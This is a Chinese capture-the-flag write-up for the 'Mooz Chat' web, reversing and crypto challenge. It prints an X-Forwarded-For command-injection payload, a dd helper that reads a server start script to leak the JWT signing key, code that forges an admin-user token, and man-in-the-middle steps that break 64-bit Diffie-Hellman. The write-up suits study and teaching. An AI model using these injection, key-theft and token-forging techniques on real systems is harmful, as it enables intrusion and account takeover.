前言
Part 1 (150 pts) —7 solves pasten A0E Tea Deliverers
Part 2 (400 pts) — 1 solves pasten
Part 1: Tom Nook and Isabelle have been exchanging text messages over Mooz recently. Is Tom Nook looking for something besides bells these days?
Part 2: Timmy and Tommy are now using Mooz to manage their store from a safe distance. Thankfully their video chats are end-to-end encrypted so nobody can steal their secrets.
知识点
- Part1: 命令注入、JWT泄露
- Part2:中间人攻击获取数据包、64 bit Diffie-Hellman (使用GFNS算法分解)
逆向部分
安装IDAGolangHelper插件
绑定的路由以及对应处理的handle
1App_handleRequest(main_handleLogin, /api/login) 2App_handleRequest(main_handleRegister, /api/register) 3App_handleRequest(main_handleMessage, /api/message) 4App_handleRequest(main_handleHost, /api/host) 5App_handleRequest(main_handleFind, /api/find) 6App_handleRequest(main_handleJoin, /api/join) 7App_handleRequest(main_handleJoin, /api/profile) 8App_handleRequest(main_handleAvatar, /api/avatar) 9App_handleRequest(main_handleadminUsers, /api/adminusers) 10App_handleRequest(main_handleAdminRooms, /api/rooms) 11App_handleRequest(main_handleAdminMessages, /api/messages)
相关信息
1https://github.com/sibears/IDAGolangHelper // IDA GO插件 2https://github.com/gorilla/mux // 题目使用mux框架做路由 3 4https://github.com/aiortc/aiortc // 实现中间人所使用的库 5aiortc的安装有点坑 6https://en.wikipedia.org/wiki/General_number_field_sieve //GNFS求解离散对数算法
Part 1
漏洞点
在main_sandboxCmd中,存在执行命令的功能,且命令中部分内容可控,因此可以进行命令注入
调用顺序
main_handleProfile > main_getAvatar > main_sandboxCmd
在 main_getAvatar中有两处调用 main_sandboxCmd,是为了对Post的avatar内容进行处理,处理完的结果会base返回给用户
第一处为
convert -size %dx%d xc:none -bordercolor %s -border 0 -pointsize 32 -font %s -gravity center -draw "text 0,2 %c" png:- | base64 -w0
第二处为
base64 -d | convert -comment 'uploaded by %s' - -resize %dx%d png:- | base64 -w0
其中第二处的 uploaded by %s由 main_getIPAddr 获得,main_getIPAddr会从请求头中的 X-Forwarded-For取出,而X-Forwarded-For是我们可控的,因此只需要在X-Forwarded-For中进行注入即可
1headers = { 2 "X-Forwarded-For": "1.1.1.1' | echo $(%s | base64 -w0) MAGICMAGIC '" % command, 3 }
该操作需要一个授权用户,因此需要先进行登录获取一个合法用户的token再命令注入
1>>> print(run_command("ps").decode()) 2PID TTY STAT TIME COMMAND 3 1 ? SNs 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0 4 4 ? SN 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0 5 5 ? SN 0:00 base64 -w0 6 6 ? SN 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0 7 7 ? RN 0:00 ps ax 8 8 ? RN 0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
通过注入ps命令观察到,程序应该是跑在沙箱中的,后面发现是用nsjail启动的
1>>> print(run_command("ls").decode()) 2bin 3boot 4dev 5etc 6home 7lib 8lib64 9media 10mnt 11opt 12proc 13root 14run 15sbin 16srv 17start.sh 18sys 19tmp 20usr 21var
发现比较敏感的start.sh , 需要分段读取start.sh,否则太大了
1def read_file(file_name): 2 d = b'' 3 index = 0 4 while True: 5 dd = run_command("dd if=%s bs=1 count=4096 skip=%d" % (file_name, index)) 6 if not dd: 7 return d 8 d += dd 9 index += 4096
获取到 start.sh 的内容
1#!/bin/bash 2nginx 3······ 4export JWT_KEY="Pl4idC7F2020" 5······
获得JWT_KEY为Pl4idC7F2020,由题干中知道我们的目标是登录tomnook账户,看一下x-chat-authorization中的JWT组成
1{ 2 "ipaddr": "xxx.xxx.xxx.xxx", 3 "username": "xxx" 4}
然后就可以构造出tomnook账户的token了
1MY_IP = "your ip address" 2JWT = "Pl4idC7F2020" 3def get_messages(): 4 token = {'ipaddr': MY_IP, 'username': 'tomnook'} 5 6 url = "https://chat.mooz.pwni.ng/api/messages" 7 headers = { 8 "x-chat-authorization": jwt.encode(token, JWT), 9 } 10 r=requests.get(url,proxies = proxies ,verify= False, headers=headers); 11 12 assert r.status_code == 200 13 return json.loads(r.text)
获得第一个flag
[······{u'to': u'tomnook', u'from': u'isabelle', u'data': u'pctf{aModestSumOfShells}'}]
Part 2
现在已经可以登录tomnook账户了,通过 /api/rooms获取房间列表
[{"_id": "000000000000000000000000", "host": "timmy_fc87dfa4", "room": "shop_c0ddd565"}, {"_id": "000000000000000000000000", "host": "timmy_446c2ede", "room": "shop_9415eba1"}]
可以观察到timmy一直在创建房间,每一次都用一个不同的后缀创建(后缀),查看一下前端webpack中chat.js创建房间和加入房间的逻辑
1const rtcConfiguration = { 2 iceServers: [ 3 { urls: 'turn:45.79.56.244', username: 'user', credential: 'passpass' } 4 ] 5} 6const dataChannelInit = { 7 negotiated: true, 8 id: 0 9} 10······ 11async chatHost(room, password) { 12 this.chatReset() 13 try { 14 this.connection = await this.createPeerConnection() 15 this.channel = this.createDataChannel(this.connection) 16 const offer = await this.connection.createOffer() 17 await this.connection.setLocalDescription(offer) 18 const data = await this.api.host(room, offer) 19 this.room = data.room 20 this.peer = data.username 21 this.packetizer = this.newPacketizer(true, password || '') 22 await this.connection.setRemoteDescription(data.answer) 23 this.connected = true 24 this.sendPendingCandidates() 25 this.processPeerCandidates() 26 } catch (e) { 27 this.chatReset() 28 console.log(e) 29 return false 30 } 31 return true 32} 33 34async chatJoin(room, password) { 35 this.chatReset() 36 const data = await this.api.find(room) 37 this.connection = await this.createPeerConnection() 38 try { 39 this.channel = this.createDataChannel(this.connection) 40 this.room = data.room 41 this.peer = data.username 42 this.packetizer = this.newPacketizer(false, password || '') 43 await this.connection.setRemoteDescription(data.offer) 44 const answer = await this.connection.createAnswer() 45 await this.connection.setLocalDescription(answer) 46 await this.api.join(this.room, answer) 47 this.connected = true 48 this.sendPendingCandidates() 49 this.processPeerCandidates() 50 } catch (e) { 51 this.chatReset() 52 console.log(e) 53 return false 54 } 55 return true 56}
chatHost流程大致为创建WebRTC连接,创建Channel给其他用户发送ICE candidates消息,这些消息可以通过 /api/message获得,ICE candidates帮助建立端对端的连接,相当于一个 peer connection 列表
建议阅读一下:https://webrtc.org/getting-started/peer-connections
同样的,chatJoin也会发送类似的消息
[{"to":"a123123","from":"timmy_eb0e6172","type":"ice","data":"{\"candidate\":\"candidate:1876313031 1 tcp 1518091519 ::1 34945 typ host tcptype passive generation 0 ufrag 83oP network-id 5\",\"sdpMid\":\"0\",\"sdpMLineIndex\":0,\"foundation\":\"1876313031\",\"component\":\"rtp\",\"priority\":1518091519,\"address\":\"::1\",\"protocol\":\"tcp\",\"port\":34945,\"type\":\"host\",\"tcpType\":\"passive\",\"relatedAddress\":null,\"relatedPort\":null,\"usernameFragment\":\"83oP\"}"}]
通道建立以后,消息机制如下
1async onOpenChannel() { 2 console.log('open') 3 4 if (this.peerConnected) { 5 return 6 } 7 this.peerConnected = true 8 9 this.channel.onmessage = (e) => { 10 const wasReady = this.packetizer.isReady() 11 const ptr = Module._malloc(e.data.byteLength) 12 Module.HEAP8.set(new Uint8Array(e.data), ptr) 13 this.packetizer.processData(ptr, e.data.byteLength) 14 Module._free(ptr) 15 16 this.flushPacketizer() 17 if (this.packetizer) { 18 if (this.packetizer.isReady() && !wasReady) { 19 this.currentPeer = this.peer 20 if (this.options.onPeerConnected) { 21 this.options.onPeerConnected() 22 } 23 } 24 25 const dataType = this.packetizer.getDataType() 26 if (dataType >= 0) { 27 const dataPtr = this.packetizer.getData() 28 const dataSize = this.packetizer.getDataSize() 29 const data = new Uint8Array(Module.HEAP8.slice(dataPtr, dataPtr + dataSize)) 30 31 switch (dataType) { 32 case 0: 33 if (this.options.onVideoData) { 34 this.options.onVideoData(data) 35 } 36 break 37 case 1: 38 if (this.options.onSecureMessage) { 39 const decoder = new TextDecoder() 40 this.options.onSecureMessage(this.peer, decoder.decode(data)) 41 } 42 break 43 case 255: 44 this.disconnectPeer() 45 break 46 default: 47 console.error(`Unknown peer message: type=${dataType}, data=${data}`) 48 break 49 } 50 } 51 } 52 } 53 this.flushPacketizer() 54 } 55 56newPacketizer(hosting, password) { 57 const rand = new Uint8Array(64) 58 this.options.getRandomValues(rand) 59 const randPtr = Module._malloc(rand.byteLength) 60 Module.HEAP8.set(rand, randPtr) 61 const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username 62 const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength) 63 Module._free(randPtr) 64 return packetizer 65 }
其中packetizer的具体实现再webassembly.wasm里,需要逆wasm
下载webassembly.wasm,要通过url下载,不要在f12里下载,用wasm2c转成c代码,编译后丢进IDA中,具体过程就不详细说了,网上很多资料
从wasm中提取出以下主要的方法,这些函数名也可以从f12里看到
1Connection(host, nonce, password, seed, seed_size) // the constructor 2processData(self, data, size) 3sendData(self, type, data, size) 4isRead(self) 5isError(self) 6getOutput(self) 7consumeOutput(self) 8getData(self) 9getDataSize(self) 10getDataType(self)
其中Packetizer的实例化过程中用到了几个参数
-
nonce 其构造格式为<hosting username>\n<peer username>
-
password 密钥
-
randPtr 随机种子
newPacketizer(hosting, password) { const rand = new Uint8Array(64) this.options.getRandomValues(rand) const randPtr = Module._malloc(rand.byteLength) Module.HEAP8.set(rand, randPtr) const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength) Module._free(randPtr) return packetizer }
逆向wasm得到协议细节
1// Connection__Connection_bool__char___char___void___unsigned_int_ 2Connection::Connection(...) { 3 this->state = 0; 4 RAND_seed(seed, seed_size); 5 AES_set_encrypt_key(128, SHA1(password)[:16], nonce_encryptor); 6 AES_encrypt(nonce, this->encrypted_nonce, nonce_encryptor); 7 AES_encrypt(nonce+16, this->encrypted_nonce+16, nonce_encryptor); 8 Connection::setup(this); 9} 10 11// Connection__setup__ 12Connection::setup() { 13 if (hosting) { 14 // Create the first packet 15 dh = DH_new(); 16 DH_generate_parameters_ex(dh, 64, 2, 0); 17 dh_param_length = i2d_DHparams(dh, dh_param); 18 DH_generate_key(dh); 19 dh_pub_key = DH_get_pub_key(dh); 20 write_byte_to_packet(0); 21 write_word_to_packet(dh_param_length); 22 write_bytes_to_packet(dh_param, dh_param_length); 23 dh_pub_key_bits = BN_num_bits(dh_pub_key); 24 write_word_to_packet((dh_pub_key_bits+7)/8); 25 write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8); 26 } 27} 28 29// Connection__processData_void_const___int_ 30Connection::processData(this, data, data_length) { 31 packet_state = read_byte_from_packet(); 32 // check that packet_state == this->state 33 switch (packet_state) { 34 case 0: // initialize connection 35 if (hosting) { 36 // ... 37 } 38 else { 39 // loads the dh params from packet 40 DH_generate_key(dh); 41 dh_pub_key = DH_get_pub_key(dh); 42 write_byte_to_packet(0); 43 dh_pub_key_bits = BN_num_bits(dh_pub_key); 44 write_word_to_packet((dh_pub_key_bits+7)/8); 45 write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8); 46 DH_compute_key(shared_key, other_pub_key, dh); // 8 bytes 47 key = SHA1("0123425234234fsdfsdr3242" + shared_key)[:16]; 48 AES_set_encrypt_key(128, key, this->send_encryptor); 49 AES_set_decrypt_key(128, key, this->recv_decryptor); 50 AES_encrypt(this->encrypted_nonce, encrypted_nonce, this->send_encryptor); 51 write_bytes_to_packet(encrypted_nonce, 32); 52 this->state = 1; 53 } 54 break; 55 case 1: 56 // not interseting, basically change to state to 2 57 ... 58 case 2: // connection ready 59 this->data_type = read_byte_from_packet(); 60 this->data_len = read_word_from_packet(); 61 // decrypt the data with this->recv_decryptor 62 } 63}
其中建立连接的数据包格式
Host -> Client:
1BYTE - state - 0 2WORD - DH parameters length 3BYTE[] - DH parameters 4WORD - DH public key length 5BYTE[] - DH public key (for the connection key)
Client-> Host:
1BYTE - state - 0 2WORD - DH public key length 3BYTE[] - DH public key (for the connection key) 4BYTE[32] - encrypted nocne (with password and the connection key)
Host->Clinet:
BYTE - state - 1
传送数据
1BYTE - state - 2 2BYTE - data type (0 - video data, 1 - text message, 255 - disconnect) 3WORD - data length 4BYTE[] - data encrypted with the connection key
采用 64 bits 的DH来协商会话密钥,然而,64 bits DH的安全性太弱,可以使用GNFS算法来求解离散对数难题,如果我们能够获得timmy和tommy的通信数据,从中得到DH协商过程的参数,那么我们就可以使用NFS来求解离散对数
那么如何获取通信数据,就要靠中间人攻击了,说实话,MITM在CTF里还是比较少见
中间人攻击步骤
- 通过/api/rooms找到timmy创建的房间
- 通过 /api/join/<room_name> 加入房间 , 与 timmy建立WebRTC连接
- 通过 /api/host/<room_name> 建立与之前加入房间同名的房间,等待tommy加入 ,与 Tommy建立起WebRTC连接
- 通信并获取通信数据包
- 离线破解DH keys
- 解密AES加密的通信数据
注意到
- 我们需要保证作为peer的中间人与作为host的中间人这两个通信的nonce是一样的,而nonce是由host和peer的username构成的,因此我们需要保证他们的名称相同。
- 由于是p2p连接,因此当第二步加入房间以后,timmy建立的房间信息会消失,因此后面再建立一个同名房间是没有问题的
要实现中间人攻击需要用使用支持WebRTC协议的库,使用 aiortc来实现中间人攻击,主要逻辑为
- 获取 rooms
- 选择某个 timmy 建立的房间,比如timmy_abcdefgh
- 用 tommy_abcdefgh 的身份加入房间
- 使用 timmy_abcdefgh的身份再创建房间(有JWT_KEYS)
- 假设作为peer加入房间的通信为 channel1,作为host创建的房间的通信为 channel2
- 将channel1发来的数据转发给channel2,将channel2回应的数据转发给 channel1从而实现中间人的过程
得到数据(我已经按照协议细节用空格划分了一下)
1H: b'00 0010 300e020900f142e55f240288a3020102 0008 3255cf918dd81e89' 2C: b'00 0008 75781b2554f4927f baca5f08511f02c37ccef8515ff78c4f6b551247e6bb13841792d6b386b1f3a0' 3H: b'01' 4....
根据前面逆出来的协议,DH所使用的参数为
1g=2 2p=17384709708392335523 3g**x=3627033298973761161 4 5 6 7 8g**y = 8464545346795901567
64位的DH是可以使用 GNFS 算法来在合理的时间内破解的 ,全场唯一做出这道题的 pasten 使用了 GDLOG 来实现求解,相关的使用过程就不在这里赘述了,求解出x的值,由于DH中shared secret的值为 g**(x*y) mod p 所以,我们只需要计算 (g**y)**x mod p就可以得到shared secret
1In [1]: hex(pow(gy, x, p)) 2Out[1]: '0x7c35faf0dad285c9'
然后解密
1data = b'' 2aes = AES.new(hashlib.sha1(b"0123425234234fsdfsdr3242" + codecs.decode("7c35faf0dad285c9", "hex")).digest()[:16]) 3for packet in packets: 4 state = packet[0] 5 if state != 2: 6 continue 7 ptype, length = struct.unpack(">BH", packet[1:4]) 8 data += aes.decrypt(packet[4:])[:length] 9open("video.webm", "wb").write(data)
得到一段timmy和tommy之间端对端的video chat,flag在图像里
pctf{TurnipFireSale}
总结
比赛的时候没来得及看这道题(看了也做不出来 :( ,赛后复盘,觉得这道题目考察的能力比较综合,涉及到 Web + Re + Crypto ,而且中间人的点出在web里是比较新颖的一个点了。